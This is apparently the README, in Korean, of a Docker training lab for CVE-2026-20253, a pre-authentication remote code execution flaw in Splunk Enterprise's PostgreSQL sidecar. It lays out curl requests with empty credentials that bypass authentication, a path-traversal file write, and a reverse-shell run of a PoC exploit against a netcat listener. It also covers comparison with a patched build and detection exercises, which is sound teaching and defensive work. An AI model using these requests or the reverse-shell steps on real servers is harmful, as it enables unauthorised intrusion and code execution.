
Splunk Enterprise의 PostgreSQL 사이드카 서비스를 통한 사전 인증 RCE인 CVE-2026-20253에 대한 PoC 익스플로잇과 검사기가 포함된 Docker 랩 환경입니다.
| CVE | CVE-2026-20253 |
| CVSS | 9.8 (치명적) |
| 유형 | 인증되지 않은 원격 코드 실행 |
| CWE | CWE-306: 중요 기능에 대한 인증 누락 |
| 제품 | Splunk Enterprise 10.0.x / 10.2.x |
면책 조항: 이 실습은 승인된 보안 연구, 교육 및 침투 테스트 전용입니다. 소유하지 않았거나 명시적인 테스트 승인을 받지 않은 시스템에 사용하지 마십시오.
┌──────────────────────────────────────────────────────┐
│ Docker 네트워크: cve-lab │
│ 서브넷: 172.20.0.0/24 │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ splunk-vulnerable │ │ attacker │ │
│ │ 172.20.0.10 │ │ 172.20.0.50 │ │
│ │ │ │ │ │
│ │ Splunk 10.2.3 │ │ Python 3.11 │ │
│ │ 포트 8000 (Web) │ │ nmap, netcat │ │
│ │ 포트 8089 (API) │ │ postgresql-client │ │
│ │ 포트 8088 (HEC) │ │ tcpdump │ │
│ └─────────────────────┘ └──────────────────────┘ │
│ │
│ ┌─────────────────────┐ (선택 사항, 프로필: patched)│
│ │ splunk-patched │ │
│ │ 172.20.0.11 │ │
│ │ Splunk 10.2.4 │ │
│ │ 포트 8001 (Web) │ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────┘
# Start Splunk vulnerable + attacker
docker-compose up -d
# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then: "Splunk is ready"
admin / ChangeMeNow!# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k
# Enter attacker container
docker exec -it attacker bash
# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k
# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444
# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
-t http://172.20.0.10:8000 \
--rce \
--lhost 172.20.0.50 \
--lport 4444 \
-k
docker-compose --profile patched up -d splunk-patched
# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
목표: PostgreSQL 사이드카 엔드포인트를 식별하고 인증 우회를 검증합니다.
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088
# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
질문:
Authorization: Basic Og==는 무엇으로 디코딩됩니까?목표: Splunk 서버에서 임의 파일 생성이 가능함을 입증합니다.
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
"http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned
목표: Splunk 서버에서 코드 실행을 달성합니다.
--rce 플래그를 사용하여 PoC 익스플로잇 실행whoami, id, ls /opt/splunk/etc/)목표: 취약한 버전과 패치된 버전 간에 무엇이 변경되었는지 이해합니다.
# Start both vulnerable and patched instances
docker-compose --profile patched up -d
# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health" # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health" # 401
# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
목표: 이 취약점에 대한 탐지 규칙을 작성합니다.
index=_internal에서 공격의 흔적 검색report/ANALYSIS.md 섹션 6 참조)CVE-2026-20253/
├── README.md # This file
├── docker-compose.yml # Lab environment definition
├── attacker/
│ ├── Dockerfile # Attacker container build
│ └── requirements.txt # Python dependencies
├── exploit/
│ ├── checker.py # Vulnerability checker script
│ ├── poc.py # PoC exploit (auth bypass → file write → RCE)
│ └── requirements.txt # Python dependencies
└── report/
└── ANALYSIS.md # Root cause analysis & full report
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
# Stop and remove all containers
docker-compose --profile patched down
# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v
# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4